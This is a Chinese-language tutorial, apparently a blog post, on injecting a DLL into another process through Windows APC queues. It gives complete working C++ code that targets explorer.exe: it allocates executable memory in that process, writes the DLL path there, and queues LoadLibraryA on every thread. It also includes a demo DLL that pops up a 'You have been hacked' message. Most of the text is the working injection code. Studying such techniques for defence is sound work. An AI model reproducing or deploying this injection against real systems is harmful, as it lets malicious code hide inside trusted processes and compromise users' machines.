描述
- 获取目标进程的每一个线程,向APC队列中插入LoadLibrary函数,配合dll路径参数,可以实现在目标进程中注入dll
准备知识
APC注入
- 每个线程都有自己的APC队列,当线程挂起进入可通知状态时,会执行APC队列中的函数
- 如果在目标进程中写入dll路径,在APC队列中插入LoadLibrary函数,参数设为dll路径,则线程状态改变时,会调用加载函数,加载dll
- 为了确保能执行插入的APC,应该在目标进程的每一个线程中都插入APC函数
指针和引用传参
- 本质上都是传的地址,可以改变实参的值
- 二级指针传参,即实参用一级指针的地址,形参用二级指针,通过这种方式可以同时改变原一级指针的指向和其指向的值
代码
注入程序
// APC_Test.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "APCInject.h"
int _tmain(int argc, _TCHAR* argv[])
{
BOOL bRet = FALSE;
// APC注入
#ifdef _WIN64
bRet = ApcInjectDll("explorer.exe", "C:\\Users\\dflac_961unic\\Desktop\\TestDll2.dll");
#else
bRet = ApcInjectDll("explorer.exe", "C:\\Users\\DemonGan\\Desktop\\APC_Test\\Debug\\TestDll.dll");
#endif
if (bRet)
{
printf("APC Inject OK.\n");
}
else
{
printf("APC Inject ERROR.\n");
}
system("pause");
return 0;
}
// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
// 获取进程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
return dwProcessId;
}
// 获取第一条进程快照信息
bRet = ::Process32First(hSnapshot, &pe32);
while (bRet)
{
// 获取快照信息
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
{
dwProcessId = pe32.th32ProcessID;
break;
}
// 遍历下一个进程快照信息
bRet = ::Process32Next(hSnapshot, &pe32);
}
return dwProcessId;
}
- 根据进程ID获取其所有线程ID:这里使用了二级指针,实参一级指针,通过形参可以改变实参的指向,使其指向线程ID数组
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
do
{
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
ShowError("new");
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
break;
}
// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;
} while (FALSE);
if (FALSE == bRet)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}
- APC注入函数:打开目标进程,申请内存,写入dll路径,获取loadlibrary地址,遍历目标进程的所有线程,向其APC队列中插入loadlibrary函数和dll路径参数
BOOL ApcInjectDll(const char* pszProcessName, const char* pszDllName)
{
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL, hThread = NULL;
PVOID pBaseAddress = NULL;
PVOID pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
DWORD i = 0;
char newFileName[100];
do
{
strcpy_s(newFileName, pszProcessName);
dwProcessId = GetProcessIdByProcessName(newFileName);
if (0 >= dwProcessId)
{
bRet = FALSE;
break;
}
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (FALSE == bRet)
{
bRet = FALSE;
break;
}
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == pBaseAddress)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}
::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen)
{
ShowError("WriteProcessMemory");
bRet = FALSE;
break;
}
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
ShowError("GetProcessAddress");
bRet = FALSE;
break;
}
for (i = 0; i < dwThreadIdLength; i++)
{
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
CloseHandle(hThread);
hThread = NULL;
}
}
bRet = TRUE;
} while (FALSE);
if (hProcess)
{
::CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId)
{
delete[] pThreadId;
pThreadId = NULL;
}
return bRet;
}
dll程序
- 在dllmain中调用一个messagebox,实现dll加载时弹窗提示
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
::MessageBox(NULL, "You have been hacked, hahaha!", "From APC!", MB_OK | MB_ICONWARNING);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
结果
- 运行注入程序,成功在explorer进程中注入TestDll2.dll,弹窗提示